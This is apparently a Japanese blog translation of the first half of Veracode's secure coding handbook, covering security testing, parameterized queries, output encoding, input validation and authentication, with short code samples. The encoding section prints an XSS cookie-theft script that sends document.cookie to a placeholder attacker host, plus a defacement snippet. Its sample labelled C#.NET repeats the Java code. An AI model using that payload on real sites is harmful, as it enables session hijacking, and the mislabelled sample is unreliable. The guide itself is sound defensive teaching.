セキュアコーディングベストプラクティスハンドブック~前半~
本ブログはVeracode社ドキュメント「Secure Coding Best Practices Handbook」の翻訳版です。
<目次>
目次[非表示]
- 1.開発者にとってセキュリティスキルはオプションではない
- 2.ベストプラクティス1:セキュリティの検証を早期かつ頻繁に実施
- 2.1.セキュリティ対策に関するポイント
- 2.2.専門家による特別なアドバイス
- 2.3.対処されるリスク
- 2.4.参考
- 3.ベストプラクティス2:クエリのパラメータ化
- 3.1.セキュリティ対策に関するポイント
- 3.2.対処されるリスク
- 3.3.参考
- 4.ベストプラクティス3:データのエンコード
- 4.1.セキュリティ対策に関するポイント
- 4.2.対処されるリスク
- 4.3.参考
- 5.ベストプラクティス4:すべての入力を検証
- 5.1.セキュリティ対策に関するポイント
- 5.2.対処されるリスク
- 5.3.参考
- 6.ベストプラクティス5:IDおよび認証制御の実装
- 6.1.セキュリティ対策に関するポイント
- 6.2.対処されたリスク
- 6.3.参考
開発者にとってセキュリティスキルはオプションではない
サイバーセキュリティのリスクが着実に増大するにつれて、アプリケーションセキュリティは不可欠なものとなっています。つまり、セキュアコーディングができることはすべての開発者の必須のスキルセットでなければなりません。コードの記述や、更新、監視の方法は、あなたのアプリケーション、組織、そして仕事を上手くこなす能力に大きな影響を与えます。
今回のブログで取り扱うVeracode社が発行している「セキュアコーディングベストプラクティスハンドブック」では、セキュアコーディングのベストプラクティスを活用するための実践的なヒントを提供します。これは、アプリケーションセキュリティのスタンダードと広く考えられている「OWASP Top 10 Proactive Controls」に基づいていますが、簡潔で使いやすいように解説されています。各コントロールの概要、コーディング例、実用的なアドバイス、およびセキュアなソフトウェアの作成に役立つその他のリソースについて説明します。
ベストプラクティス1:セキュリティの検証を早期かつ頻繁に実施
これまでは、セキュリティチームがプロジェクトの終了間際にセキュリティテストを実施し、その結果を開発者に渡して修正を求めるのが一般的な方法でした。しかし、アプリケーションを本番稼働させる直前に多くの修正に対応することは不可能です。また、情報漏洩のリスクも増大します。コーディング中に手動および自動テストを行うためのツールやプロセスが必要です。
セキュリティ対策に関するポイント
- データ保護について、最初から検討する。プロジェクトの「完了」の定義に、セキュリティについての事項も含める
- セキュリティ要件を定義し、テストケースを生成するためのガイドとして、OWASP アプリケーションセキュリティ検査基準(OWASP ASVS)を検討する
- 採用したテスト方法によりすべての問題が確実に修復されるよう、セキュリティチームと協力する
- スタブとドライバに予防的な制御機能を組み込む
- セキュリティテストを継続的インテグレーションに統合して、高速で自動化されたフィードバックループを作成する
専門家による特別なアドバイス
各開発チームにセキュリティチャンピオンを任命します。
セキュリティチャンピオンとは、セキュリティに関心のある開発者が、チームレベルでセキュリティの意識を広めるのを支援する人のことです。セキュリティチャンピオンはセキュリティのプロである必要はなく、チームのセキュリティ意識者として行動し、潜在的な問題に目を向け、耳を傾けておくだけで良いのです。チームがこれらの問題を認識したら、開発中に問題を修復するか、組織のセキュリティ専門家に助言を求めることができます。
対処されるリスク
OWASP Top10の全てのリスク
参考
OWASP Application Security Verification Standard Project
ベストプラクティス2:クエリのパラメータ化
SQLインジェクションは、最も危険なアプリケーションリスクの1つです。それは、攻撃者がオープンソースの攻撃ツールを使用して、脆弱性を悪用できることが一因です。このリスクは、クエリパラメータ化によって制御することができます。このタイプのクエリでは、パラメータのプレースホルダを指定することで、データベースはパラメータをSQLコマンドの一部ではなく、常にデータとして扱います。プリペアドステートメントを使うこともできますし、Rails、Django、Node.js などのフレームワークでは、オブジェクトリレーショナルマッパーを使って、データベースとの通信を抽象化するものが増えてきています。
セキュリティ対策に関するポイント
- 変数をバインドしてクエリをパラメータ化する
- オブジェクトクエリ(OQL/HQL)やフレームワークでサポートされているその他の高度なクエリへのユーザー入力を許可する場合は注意する
- 適切なデータベース管理システム構成を使用して、SQLインジェクションを防ぐ
例:クエリのパラメータ化
Javaでのクエリのパラメータ化の例
String newName = request.getParameter("newName"); int id = Integer.parseInt(request.getParameter("id")); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setInt(2, id); |
C#.NETでのクエリのパラメータ化の例
String newName = request.getParameter("newName"); int id = Integer.parseInt(request.getParameter("id")); PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setInt(2, id); |
対処されるリスク
SQLインジェクション
参考
Veracode SQLインジェクション攻撃とその対策 [INFOGRAPHIC]
ベストプラクティス3:データのエンコード
エンコーディングは、潜在的に危険な特殊文字を、脅威を無効化する同等の形式に変換するものです。この技術は、UNIXコマンドエンコーディング、Windowsコマンドエンコーディング、クロスサイトスクリプティング(XSS)など、様々なプラットフォームやインジェクション手法に対応可能です。エンコーディングは、XSSの3つの主要なクラス(格納型、反射型、DOMベース型)に対応しています。
セキュリティ対策に関するポイント
- 静的なデータ、開発者が作成した HTML/JavaScript が混在する動的なコンテンツ、ユーザー入力で作成されたデータなど、すべてのデータを信頼できないものとして扱う
- インジェクション攻撃を含む多様な攻撃手法に対応できるよう、関連するエンコーディングツールを開発または使用する
- JavaScriptのHexエンコーディングやHTMLのエンティティエンコーディングなど、出力エンコーディングを使用する
- 動的なウェブページの開発方法を監視し、信頼できないソースのリスクとともに、JavaScriptとHTMLがどのようにユーザー入力を入力するかを検討する
例:クロスサイト・スクリプティング
XSSによるサイト改ざんの例
<script>document.body.innerHTML("Jim was here");</script> |
XSSによるセッション盗難の例
<script> var img = new Image(); img.src="http://<some evil server>.com?" + document.cookie; </script> |
対処されるリスク
SQLインジェクション
クロスサイト・スクリプティング
クライアントサイド型インジェクション
参考
Veracodeクロスサイト・スクリプティング(XSS)チュートリアル
ベストプラクティス4:すべての入力を検証
システムに入出力されるすべてのデータが、構文的にも意味的にも妥当であることを確認することが非常に重要です。この課題に取り組む際には、すべてのデータと変数が信頼できないことを前提とし、そのデータのソースに関係なくセキュリティ制御を実施する必要があります。有効な構文とは、データが正しい文字数や桁数を含む、期待どおりの形式であることを意味します。意味的妥当性とは、データが実際の意味を持ち、対話またはトランザクションに対して有効であることを意味します。検証方法はホワイトリスト登録を推奨します。
セキュリティ対策に関するポイント
- すべての入力データが信頼できないものと想定する
- 構文をチェックするためのホワイトリストを作成する。たとえば、正規表現は、データが特定のパターンに一致するかどうかをチェックする方法を提供するため、ホワイトリスト検証を実装する優れた方法です
- 入力検証はサーバー側で行う必要があります。これは、HTTPヘッダー、Cookie、GETおよびPOSTパラメータ(hiddenフィールドを含む)、ファイルのアップロードなど、複数のコンポーネントにまたがっています。また、ユーザーデバイスやバックエンドのウェブサービスも含まれる
- クライアントサイドの管理は、利便性のためだけに使用してください
例:電子メールの検証
メールユーザを検証し、不正な文字をサニタイジングするPHPのテクニック
<?php $sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL); if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) { echo "This sanitized email address is considered valid.\n"; } |
対処されるリスク
SQLインジェクション
クロスサイト・スクリプティング
未検証のリダイレクトと転送
参考
ベストプラクティス5:IDおよび認証制御の実装
ユーザーIDを事前に確認し、コードとシステムに強力な認証制御を組み込むことで、セキュリティ侵害を回避できます。これらの管理は、基本的なユーザー名とパスワードを超えるものでなければなりません。セッション管理とID管理の両方を組み込むことで、最高レベルの保護を実現することが可能です。
セキュリティ対策に関するポイント
- FIDOや専用アプリなどの多要素認証を含む強力な認証方法を使用する
- ユーザーの本人確認をするために、指紋認証、顔認証、音声認証などの生体認証方式を検討する
- 安全なパスワードの保管を実施する
- ユーザーがパスワードを忘れた場合にアカウントにアクセスできるように、安全なパスワード回復の仕組みを導入する
- セッションごとにタイムアウトと非アクティブ期間を設定する
- 機密性や安全性の高い機能には、再認証を使用する
- 監視と分析を使用して、疑わしいIPアドレスとマシンIDを特定する
例:パスワードのハッシュ化
PHPでpassword_hash () 関数(5.5.0以降で使用可能)を使用します。デフォルトはbcryptアルゴリズムを使用します。この例では、コストパラメータは15を使用しています。
<?php $cost = 15; $password_hash = password_hash("secret_password", PASSWORD_DEFAULT, ["cost" => $cost] ); ?> |
対処されたリスク
認証およびセッション管理の不備
参考
Veracode社ドキュメント「Secure Coding Best Practices Handbook」の翻訳版の後編はこちらです。